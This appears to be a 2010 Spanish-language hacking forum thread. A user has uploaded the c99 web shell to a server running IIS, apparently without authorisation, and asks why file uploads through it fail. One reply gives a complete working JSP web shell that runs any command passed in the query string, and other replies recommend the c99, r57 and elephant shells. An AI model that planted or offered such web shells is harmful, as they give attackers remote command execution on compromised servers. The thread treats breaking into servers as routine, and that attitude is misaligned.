Shell para IIS

Iniciado por Halos, 4 Febrero 2010, 01:06 AM

0 Miembros y 1 Visitante están viendo este tema.

Halos

Buenas! No tengo mucha experiencia con shells así que me gustaría que me aclaraseis algunas dudillas que tengo.

He subido una shell a un servidor, la famosa c99. He intentado subir ficheros a través de ella pero nanai, no aparecen. Y no es por problemas de permisos, porque se ven los permisos de la carpeta rwxrwxrwx y porque sí he podido mover archivos a la carpeta a la que quiero subir el nuevo archivo. Mi duda es si esta shell está más orientada a servidores linux y para un servidor IIS debería utilizar otra. Pienso que el fallo puede ser por el SO, aunque si la shell funciona en php debería de funcionar independientemente del SO, ¿no? Pensé también que podría ser culpa del no-script, pero permitiendo los scripts en firefox y utilizando el chrome, sin bloqueo de script, tampoco. La verdad es que no sé como funcionan estas shells internamente, y sería interesante saberlo, por curiosidad, para solucionar esto y para saber bien lo que hago  ;D

Un saludo!

kamsky

no tiene nada que ver ni el OS ni el explorador, php es php en linux en windows y en la conchinchina

como has intentado subir los archivos?
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!

Darioxhcx

claro , si funciona en php tendria que subir , capas que no podes subir archivos , pero si podes ejecutar comandos podrias usar algo con fopen y crear tu archivo

WHK

si necesitas para jsp acá tienes una:

Código (asp) [Seleccionar]
<%@ page import="java.io.*, java.net.*" %>

<%

       String queryString = request.getQueryString();



       if (queryString == null) return;



       String line;

       Process p = Runtime.getRuntime().exec(URLDecoder.decode(queryString));

       BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));

       while ((line = input.readLine()) != null) {

               out.println(line);

       }

   input.close();

%>     

<form method=POST>

<input type=text name=queryString>

<input type=submit>

</form>


Si el servidor soporta php usas la c99, r57, el elephant o lo que se te ocurra.

Halos

Gracias por las respuestas y por la shell jsp!  ;)

Una duda, entre c99 y r57, ¿alguna está más recomendada para algún uso en concreto? ¿O es solo cuestión de gustos como KDE o GNOME?

Darioxhcx